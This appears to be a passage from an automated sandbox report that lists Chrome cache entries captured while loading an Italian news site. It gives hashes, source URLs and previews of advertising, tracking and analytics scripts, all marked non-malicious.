Preview:	var tdSocialSharing={};(function(){tdSocialSharing={init:function(){jQuery(".td-social-sharing-button").on("click",function(a){var b=jQuery(this),e="";if(!b.hasClass("td-social-mail")&&!b.hasClass("td-social-share-text"))if(a.preventDefault(),b.hasClass("td-social-expand-tabs")){e=b.data("block-uid");a=jQuery("#"+e);var d=b.find(".td-social-expand-tabs-icon");if(a.hasClass("td-social-show-all")){b.detach().appendTo(a.find(".td-social-sharing-hidden:first"));var c=a.find(".td-post-sharing-visible:first"),f=new tdPullDown.item;f.blockUid=a.attr("id");f.horizontal_jquery_obj=c;f.vertical_jquery_obj=a.find(".td-social-sharing-hidden:first");f.horizontal_element_css_class="td-social-sharing-button-js";f.container_jquery_obj=c.parents(".td-post-sharing:first");tdPullDown.add_item(f);jQuery("#"+e).removeClass("td-social-show-all");d.removeClass("td-icon-minus");d.addClass("td-icon-plus")}else tdPullDown.unloadItem(e),jQuery("#"+e).addClass("td-social-show-all"),d.removeClass("td-icon-plus"),d

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	232
Entropy (8bit):	5.0978481916668485
Encrypted:	false
SSDEEP:	6:q+J8mgO9llHxu5i+h2DJMLUACLNG2JVOlAscPlM/G2aBK1lLBG3:Riul85i+hAJMIo2pNl5QnG3
MD5:	810166401EF716E44B4550E0B82D0DF1
SHA1:	BBBF84FEFEB1A9862A6ADCD37A8A8819F888C1D0
SHA-256:	A2805BB9316A043FE6F43CA33D1BFEF518E2FC4D54B92AA0782D59823D6CB265
SHA-512:	BCC5986ACB45D8F4F980D745BA6797FF3F299537DE2E62B6B310776C196F2C7A78CC3C63863BDCE3B9C2259172B7FA651AC32428953E9B2D37F63715C867FD79
Malicious:	false
Reputation:	low
URL:	https://trz.neodatagroup.com/pv?sid=1011&rnd=436232701635&pv=omg&id=607&ad=197&rs=1280x1024&lg=en-US&tz=-60&ur=https%3A%2F%2Fwww.bsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&re=&co=24&pbs=true&cb=window._omgDmp.setNeoIdLastSync(%27@@neo_user_id@@%27);&neoid=31d088370c605bf
Preview:	var img = document.createElement('img'); img.style.display = "none"; img.src ="https://www.youronlinechoices.com/wp-content/plugins/optout/callback/?status=nocookie&token=7AdUuQDnS44iVs6ZYu1ohLMYeJE"; document.body.appendChild(img);

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	30
Entropy (8bit):	3.840223928941852
Encrypted:	false
SSDEEP:	3:YGKeMfQ2pHXAC/Hfr:YGKed2pHXr
MD5:	5D1644C7C04B30C3389E8DFFAB135B8B
SHA1:	F7E916F79C8DDAAC1F2D83471C19365968E4D3BA
SHA-256:	3D1C68B77EC2A70366EC61553184400653154CAD446D5662B959E32786657533
SHA-512:	55AF0AEFB158A2542A1CD75AAA5E2302F590B0422278DC09F238DC0700379861E6E0DFA568644198A403CF5E27F77C4A04E44F378BE25E5040398A4A0300D2B1
Malicious:	false
Reputation:	low
URL:	https://geo.privacymanager.io/
Preview:	{"country":"US","region":"DC"}

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (977)
Category:	downloaded
Size (bytes):	1016
Entropy (8bit):	5.460386137686078
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTcXh6vEFM+sBntvwCCZV9UkP9NTuRXKr5c:c2Yz8TmYviMnhYJFNTuRXEc
MD5:	D3D9C22578D41D830C200681F9B749B1
SHA1:	6CB0CBC1C53228666448D0646EDBFA569B8C37D0
SHA-256:	807DF212877E8FB45837A979E025FCCBC35FCF95228FF6097EDB7403BB400B7B
SHA-512:	C248CE809A331F3118456DDDA325FCA26267B8DE493FBA081DE8D35CDCF919CE53787D0B6376A45245673C980D4BCADD6FADB15BFEE50F47165416C60379C04D
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=Bidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=stackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://x.bidswitch.net/sync?ssp=tremor&user_id=5c99a009bd184d5ca3b7885003b720e3&gdpr=0&gdpr_consent=&expires=365&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Linear><TrackingEvents/></Linear></Creative></Creatives></Wrap

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	124422
Entropy (8bit):	5.313088071768848
Encrypted:	false
SSDEEP:	1536:8L34FzZE5nZqWevx5qT4rnuEPFuJWiKCBIf2HterdmKg89:s34FzOEpIGgJiiterp9
MD5:	91983F9DDC44B723E2BCC8FA218282ED
SHA1:	79A97E4EFBDE05D94A997536B098EBA3897B5651
SHA-256:	173E8EBF9676CA0808F310CC866DB4C28A8E5D4E133797DE4F16121720FB4ED8
SHA-512:	23D8B84E3FBA50103B9D05840899E8F8EFDF1F314FC9F8737CD5ACA8FF28D6154327C5FEC108128CF51E2FF68DF95B8693349DDF5D3749B8F011E084AD778D0A
Malicious:	false
Reputation:	low
URL:	https://libs.outbrain.com/video/obVideo/current/obVideo.js?e=2
Preview:	(()=>{var e,t,i={8048:(e,t,i)=>{"use strict";i.d(t,{Z:()=>a});var r=i(8081),n=i.n(r),s=i(3645),o=i.n(s)()(n());o.push([e.id,'.omp-native-bottom-wrapper{display:flex;flex-direction:row;justify-content:space-between;gap:6%;padding:8px 6px;background-color:#fff}.omp-native-texts-wrapper{padding-top:8px;display:flex;flex-direction:column;gap:6px}.omp-native-texts-wrapper .omp-native-title,.omp-native-texts-wrapper .omp-native-description,.omp-native-texts-wrapper .omp-sponsor-brand{overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}.omp-native-texts-wrapper .omp-sponsor-brand{-webkit-line-clamp:1}.omp-native-texts-wrapper .omp-native-title{color:#000;font-size:18px;font-weight:700}.omp-native-texts-wrapper .omp-native-description{color:#4a4950;font-size:14px;font-weight:normal}.omp-native-logo-wrapper{display:flex;flex-direction:row;gap:6px;align-items:center;background-color:#fff}.omp-native-logo-wrapper>.omp-logo{width:30px;height:30px}.omp-native-logo-w

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15718)
Category:	downloaded
Size (bytes):	18692
Entropy (8bit):	4.754375391922092
Encrypted:	false
SSDEEP:	384:VYz/VuPTb9Uh31//bEP+XgA1Q0efAJmpr:wNU9Uh31//YWXgAMfACr
MD5:	4CC444663C1E69CB8AC7B909E7192BCA
SHA1:	D00DDC5B9526193FA99BC3995A6D05F995452EA1
SHA-256:	4F79A89D16A5F717110FE080C0BF90B7E05FF95A4C4983F64D33110BF5F9C230
SHA-512:	AE37D08D11AA4337650CBEC0D0F1205A5505CB3E82373873E82CBA093019521CD2B93CFE2DBE4840CE098717287E1F732E9330C90063B122F1C6358664F1B8EE
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-includes/js/wp-emoji-release.min.js?ver=6.4.3
Preview:	/! This file is auto-generated /.// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var m={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return e(d);return e(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:o},onerror:function(){this.parentNode&&this.parentNode.replaceChild(x(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return m.doNotParse=u.doNotParse,("string"==typeof d?function(d,a){return n(d,function(d){var u,f,c=d,e=N(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,r),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,r,n,o,i,s,l=function d(u,f){var c,e,b=u.childNodes,

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3609), with no line terminators
Category:	downloaded
Size (bytes):	3609
Entropy (8bit):	5.345871765163236
Encrypted:	false
SSDEEP:	96:uvzONS7Jk4K4+bkmvZMwSBO5hRI4s6jJ9Dm:uC47q4K4/mvZMwSA/RI/6TDm
MD5:	1295E69D949EDE7964200763ACAEBC50
SHA1:	67C777B125235E1617630641DC17C44CC8253870
SHA-256:	E641289A84DCCD3F02BE13957CE937B6010C9F64F4FAC5E880FCA2F639B3C05F
SHA-512:	A63503FB6A8DC8048E27EDE20E378135614C20482EA6779DF2FBF4B7BF5BB1BD7C36F1297E3665F2A42B40510A491BE8BDC80E5D4D8014CFF8D5446122FCACB5
Malicious:	false
Reputation:	low
URL:	https://widgets.outbrain.com/widgetMonitor/monitor.html?name=obm-MCDPRetriesError&env=2&message=Failed%20to%20fetch%2C%20url%3A%20https%3A%2F%2Fmcdp-chidc2.outbrain.com%2Fl%3Ftoken%3D2a6f7366e72a2d3d7989e40a31be5c47_30351_1711615904525_1%26tm%3D22567%26eT%3D0%26widgetWidth%3D696%26widgetHeight%3D34%26widgetX%3D98%26widgetY%3D2607%26wRV%3D2010731%26pVis%3D0%26lsd%3D605efeb6-d03d-4c86-b581-346f2597a6eb%26eIdx%3D%26cheq%3D0%26rtt%3D22065%26oo%3Dfalse%26lo%3D27464%26obreq%3D26012%26mvreq%3D27788%26mvres%3D49852%26cet%3D3g%26to%3D1711615856221%26ll%3D0%26chs%3D1%26ab%3D0%26wl%3D0%26retries%3D1%20%2C%20retries%3A1&stack=undefined&ver=2010731&ren=1&sId=6726620&dId=2109477748&pId=30351
Preview:	<!DOCTYPE html><html><head lang="en"><meta charset="UTF-8"><title></title><script>var OBM=function(){var a={},b=1,c=864e5,d=1e3,e="ob-monitor-",f=function(){var a=!0;try{window.localStorage.setItem("ob-test",1)}catch(b){a=!1}return a};a.init=function(){var b=a.getQueryStringParams(),c=b.name,d="true"===b.isMonitorRepeated;return"true"===b.deletelocalstorage?void a.cleanLocalStorage():void((d\|\|a.shouldSendLog(c,"1"===b.dLs))&&a.report(b))},a.isWithinSample=function(){return Math.floor(Math.random()*d)<1},a.shouldSendLog=function(b,c){return c?(a.cleanLocalStorage(),a.isWithinSample()):"undefined"!=typeof Storage&&f()?a.isSaveInLS(b):a.isSaveInCookie(b)},a.isSaveInLS=function(c){var d=localStorage[e+c];return!(d&&a.compareTime(Date.now(),d)<b)&&(localStorage[e+c]=Date.now(),!0)},a.isSaveInCookie=function(b){var c=a.readCookie(e);return!(c&&c.indexOf(b)>-1)&&(a.setCookie(e,(c?c+",":"")+b),!0)},a.getQueryStringParams=function(){for(var a={},b=window.location.search.substring(1),c=b.split("

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	416
Entropy (8bit):	4.892806052846471
Encrypted:	false
SSDEEP:	6:hxuJzhqIwGiY63fAbplilAlM3f4+8HXAEdptp5eX4gKEUO7B9Q7gE/dwHX4QL:hY0JYygMw5HXAEdx5eX43b0B9pkdHQL
MD5:	C0311CF15C21DDDA054005E92FAD3F9E
SHA1:	5276ECEEB0576CBEE82010F611DFD6FD305991F9
SHA-256:	4F3B933077B738B503F7543FFC82FA0A061F0FE7D0FF1470865FDE561A324BCC
SHA-512:	82286A26855F5E374886513477280C995091C18E5C3518CD3B8FB0801A82849BD5BCAB8B4C6D684FA2BEE030B0EA7C31FC748892707574DA4B4363D40EB685FB
Malicious:	false
Reputation:	low
URL:	https://widgets.outbrain.com/nanoWidget/externals/cookie/put.html
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <meta http-equiv="X-UA-Compatible" content="ie=edge" />. <title>Cookie</title>. </head>. <body>. <script>. document.cookie = 'thirdparty=yes; Max-Age=3600; SameSite=None; Secure';. document.location = 'test.html';. </script>. </body>.</html>.

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (797)
Category:	downloaded
Size (bytes):	996
Entropy (8bit):	5.575231845779285
Encrypted:	false
SSDEEP:	24:2e2C6hHfhiVI93UiWfwpw8KzN9F3yoOrfqBLgdgBf:2e2C6lIMUi28cnWiBAgBf
MD5:	F32032F28E3C7C34972AEEA782628CCB
SHA1:	C0C902B10C820B0D9965D9D93177A3278118206C
SHA-256:	BE9FDD15FDE0BF66FA3EC65A36C245FFC92F35BED33BEB55F8DBAF2A4A6F1EA5
SHA-512:	B617F2FB081DDEF26F11C193155774A655C48D3166921C99285F4D121C52A4BF9FA6D08A71B62A71836765EB416C4EEC31AE4FF1B206FAABB478017307CC5224
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/cm?cc=1&id=5263ff89-48b7-4624-96e0-06c74faea01d&ph=2eba3060-f578-4886-93a0-d9a2346966ea&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fsync.richaudience.com%2Fa9b03dc9bdef0bcb818e9c4110ca0368%2F%3Fuid%3D
Preview:	<html>.<head><title>Pixels</title></head>.<body>.<script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script>..<img src="https://sync.richaudience.com/a9b03dc9bdef0bcb818e9c4110ca0368/?uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad"><img src="https://sync-tm.everesttech.net/upi/pid/ny75r2x0?redir=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2Fsd%3Fid%3D537148856%26val%3D%24%7BTM_USER_ID%7D"><img src="https://pr-bh.ybp.yahoo.com/sync/openx/b909db4d-d54f-a0d6-5870-40e17f4eebae?gdpr=0"><img src="https://s.amazon-adsystem.com/dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=7518c174-5949-8965-a9a9-d483e82aed07"><img src="https://match.adsrvr.org/track/cmf/openx?oxid=2dcebd09-45e3-329f-69a7-5614801926e7&gdpr=0"><img src="https://cm.g.doubleclick.net/pixel?google_nid=openx&google_hm=MDFhMTZlYzMtOGM5NC02YzNiLTdjNDctMGNhZDRhZmJlODg3"><img src="https://cm.g.doubleclick.net/pixel?google_nid=openx&google_cm&google_sc">..</body>.</html>.

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 350x200, components 3
Category:	dropped
Size (bytes):	25031
Entropy (8bit):	7.9767906439893705
Encrypted:	false
SSDEEP:	768:WNjpolx5iwEYr28dWirSqxuLa9hSbxwiS:WHol5Lr28iC9PYxZS
MD5:	F6C38FF58A7166D08F8048AD130407ED
SHA1:	B1D065B654EF86382AFC925816F990BF7BD78226
SHA-256:	FE1F244491473E30710C9247FDE0075D83FC42553AB7036B0B5C12932599AEFC
SHA-512:	EE59304EDD08241B76CE2846354A334AC3A95A08259C6F6DEAE11C9E5593FC175B4A4560814770D87A262EFF18DA4FDC5937AFB59C4F024101D880FDA7BF662E
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................^.."...............................................................................u..s<..{..pU....,..&t.i....Z.k.{.....gO.......k...k....U..]...i8...9.......l...3..i.2{.t.O7..^...{..3p\|.]..m.[.l.;.wcoy.3\|a}}.#......."M..;.......KU...4....n.aQ.-..hu.P..<...c.M.....{1.=...6.c_6..{.E..y.N;...V;...~..z....Hc..{\..WUf..e..c...4...%..W.&..#..w..I..Awa......n....N.dTu...W.B...8..5..z9^f..i.....1N.y.akP.X....g+.1......J...-....nR'.jW..m.m.H[.;A.i.ML&.... ....e.Q.F..(8..7.....s....v..[.q.W'..^.E.S...O....$\|.X_%..C..............U..!....F.1.....an../.%q.hK[.e..TW@M....9.Q.<.t$+....d...Ar....2n...R.&.%<L.:.\U./w<\|.\|...d..Z...i.........@N(.:Bg.o....c..e..56.).S.(I....a......ZW....Kt+s..f....I.UY.U...+4.`......{.D.+A...;uTh....w..Y..3fug....v8...8.....kd.f....Qr.ufc@.....sV.Dj...^.#_,..x..4\

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9163)
Category:	downloaded
Size (bytes):	9204
Entropy (8bit):	5.2146464551677285
Encrypted:	false
SSDEEP:	96:/AQnBVFrK3RJ1oauMhLBiobXf1JqZ8zZDV81uZIJqEKIZft4JqxCYZX7+Aroq3Ic:oZNoqhtig1XzZZWuZIUsft40pTrUc
MD5:	A87C48D211877C49B878679B2E3CDAB8
SHA1:	E75653DD0156806682E39ABE8B1323ED40D840CA
SHA-256:	4191D89EC03BCE5DC273716075335E31851031184B0FFF0AB9FC900A8442019F
SHA-512:	82B86AD20101588BE6EA4FA557920144692118665C4B1BBE7742AC293F3326872297ADC5C0724E5E47639586471BDBBB7EFF090A68FDCD00EBF57F99D6448EFB
Malicious:	false
Reputation:	low
URL:	https://cdn.onesignal.com/sdks/OneSignalSDK.js
Preview:	!function(e){var t={};function n(o){if(t[o])return t[o].exports;var r=t[o]={i:o,l:!1,exports:{}};return e[o].call(r.exports,r,r.exports,n),r.l=!0,r.exports}n.m=e,n.c=t,n.d=function(e,t,o){n.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:o})},n.r=function(e){Object.defineProperty(e,"__esModule",{value:!0})},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=8)}([function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.OneSignalStub=void 0;var o=function(){function e(t){var n=this;this.VERSION=Number(151605),this.log={setLevel:function(e){n.currentLogLevel=e}},this.setupStubFunctions(e.FUNCTION_LIST_TO_STUB,this.stubFunction,t),this.setupStubFunctions(e.FUNCTION_LIST_WITH_PROMISE_TO_STUB,this.stubPromiseFunction,t)}return e.prototype.setupStubFunctions=function(e,t,n){for(var o=this,r=function(e){if(n.ind

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
URL:	https://bcp.crwdcntrl.net/map/c=14701/tp=MTAI/tpid=01F5328A-C4D9-44AD-8468-60A885247C68/gdpr=0/gdpr_consent=
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://ad.doubleclick.net/ddm/trackimp/N228601.282779GUMGUMINC/B31708805.390961411;dc_pre=CIT9zqTKloUDFR9VRwEdM-QD7w;dc_trk_aid=582495984;dc_trk_cid=212410304;ord=1711615892361;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;gdpr=0;gdpr_consent=;ltd=;dc_tdv=1?
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1474), with no line terminators
Category:	downloaded
Size (bytes):	1474
Entropy (8bit):	5.24601014086674
Encrypted:	false
SSDEEP:	24:kRCOSYfISYyISY3/gUapSYKfwSY3O3SYrlUSY52iZ/1qSYDnJtCLNpSYt:kCE2y+PgUiem32rly5hN2r2t
MD5:	B4EE70C595B2BA56B24A8ECD0EAA38C5
SHA1:	AC54ADC5F608F778FE0EF16C29FFA4D375D94724
SHA-256:	1066E0593A5A51719D2B90BB504C8AD45D254B7A5F81D645B41FF5B51FF67779
SHA-512:	74702217146C985700A9F61AFC8D4DA0EC55FBA48C0D85456D6DB8D51FAB8AEBFE5BF16C4ECAC53B7249F0B93513317BB9E3D7DB237E23CF8AB5A5E25BB75CA8
Malicious:	false
Reputation:	low
URL:	https://ssum.casalemedia.com/usermatch?s=190243&cb=https%3A%2F%2Fu-iad04.e-planning.net%2Fum%3Fdc%3D99e41df815fd80b4%26fi%3Db908337b94350305%26uid%3D
Preview:	<html><head><title></title></head><body><img src="https://c1.adform.net/serving/cookie/match?party=29" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://ad.turn.com/r/cs?pid=21" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://sync.srv.stackadapt.com/sync?nid=68" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://creativecdn.com/cm-notify?pi=index&gpdr=&gdpr_consent=&us_privacy=&user_id=ZgUvi9HM46UAADq7ABhzMwAA%262753" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://cm.adgrx.com/bridge?AG_PID=casale&AG_SETCOOKIE" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://p.rfihub.com/cm?in=1&pub=2079" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://b1sync.zemanta.com/usersync/index/?us_privacy=&gdpr=&gdpr_consent=&gpp=&gpp_sid=" style="display:none" width="0" height="0" alt=

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (36354)
Category:	downloaded
Size (bytes):	92831
Entropy (8bit):	5.597462251598998
Encrypted:	false
SSDEEP:	1536:4q17a1xuPBKLZ1cHjXw1f2+yI0SEX66dtZ8UG9I90ly:Va1GH88+R07mU3L
MD5:	917237FAB925CAFB8232DD32E4A89A78
SHA1:	A099F4699942A29A5A57A88818EE7A58C69BE754
SHA-256:	61DE6E4487D36B8DDD86E626C7E3E1742C89AF8628C1D59715FE8C09BC5667E5
SHA-512:	5E9911B07826C3724D17BC92D1FCD5BBE126481A6D295622783FFC75B9C01620C5D1E1DCDB43F1E44929DAE0617F2A90D3658D141B0AFFBC760AAA4F672410DD
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/tag/js/gpt.js
Preview:	(function(sttc){var window=this;if(window.googletag&&googletag.evalScripts){googletag.evalScripts();}if(window.googletag&&googletag._loaded_)return;var n,ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ea=da(this),fa="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),t={},ha={},u=function(a,b,c){if(!c\|\|null!=a){c=ha[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]}},v=function(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var e=d[0],f;!a&&e in t?f=t:f=ea;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))brea

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7329), with no line terminators
Category:	downloaded
Size (bytes):	7329
Entropy (8bit):	5.163866264219447
Encrypted:	false
SSDEEP:	192:SZlmgfn24Se6MpTXapkyN8jcpypscqDciqtiPh71:SZlnfUwXapkyN8jcpyioyh71
MD5:	BD2D67186594B0E32223B293FDFCCA55
SHA1:	B797A9D012C850B53A7CCC12211ADCFBCD9AE0BE
SHA-256:	4F9F4E2E225088F9CF3B6B54AA421E0F776D1802255505D2F752E1F83F441641
SHA-512:	C80A7CD15E27B24AE6A2B7E9E491BCB24EFA034BF730862F07E5CD22A0C7961B451F78B3D80AD212CBBB75B176DDAFDF84F9AABD027DBCEBAE3A8FBD48F6A8E0
Malicious:	false
Reputation:	low
URL:	https://stats.wp.com/e-202413.js
Preview:	window.wpcom=window.wpcom\|\|{};window._stq=window._stq\|\|[];function st_go(t){window._stq.push(["view",t])};function linktracker_init(t,e){window._stq.push(["clickTrackerInit",t,e])};window.wpcom.stats=function(){var t=function(){var t,n;var o=function(t,e,n){if("function"===typeof t.addEventListener){t.addEventListener(e,n)}else if("object"===typeof t.attachEvent){t.attachEvent("on"+e,n)}};var i=function(t){if("object"===typeof t&&t.target){return t.target}else{return window.event.srcElement}};var r=function(t){var n=0;if("object"===typeof InstallTrigger)n=100;if(7===e())n=100;d(i(t),n)};var a=function(t){d(i(t),0)};var f=function(t){var e=document.location;if(e.host===t.host)return true;if(""===t.host)return true;if(e.protocol===t.protocol&&e.host===t.hostname){if("http:"===e.protocol&&e.host+":80"===t.host)return true;if("https:"===e.protocol&&e.host+":443"===t.host)return true};return false};var d=function(e,o){try{if("object"!==typeof e)return;while("A"!==e.nodeName){if("undefined"=

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1115)
Category:	downloaded
Size (bytes):	1195
Entropy (8bit):	5.136352788493526
Encrypted:	false
SSDEEP:	24:Ce4cZUH2ogoZAz4F7ky8v757uHAdivgF7d7RLQ7RGR5bPQkfcwa8fA4v75Q2XIpN:Cez2HbN+zaleVOgF5mQPQkfla8oMPXI7
MD5:	6BD342E07CE454DF76037B5A2632F56E
SHA1:	861031276B9473A4F738F456A0AC0B88ACE2CA1F
SHA-256:	E388E19CA38C825B329E762C79C66BBD41BD334F18312C5E97FDE0A8F64BCA36
SHA-512:	54C8CAA5EB1F859510D94F2AB783409EB1BF40526FA99CCC2156B4CCC74459F961F20C9B9736E7823F0F4A9EF5E6A3F86BF14834D64012E88B7FC3C0EBEC899A
Malicious:	false
Reputation:	low
URL:	https://invstatic101.creativecdn.com/encrypted-signals/encrypted-tag-g.js
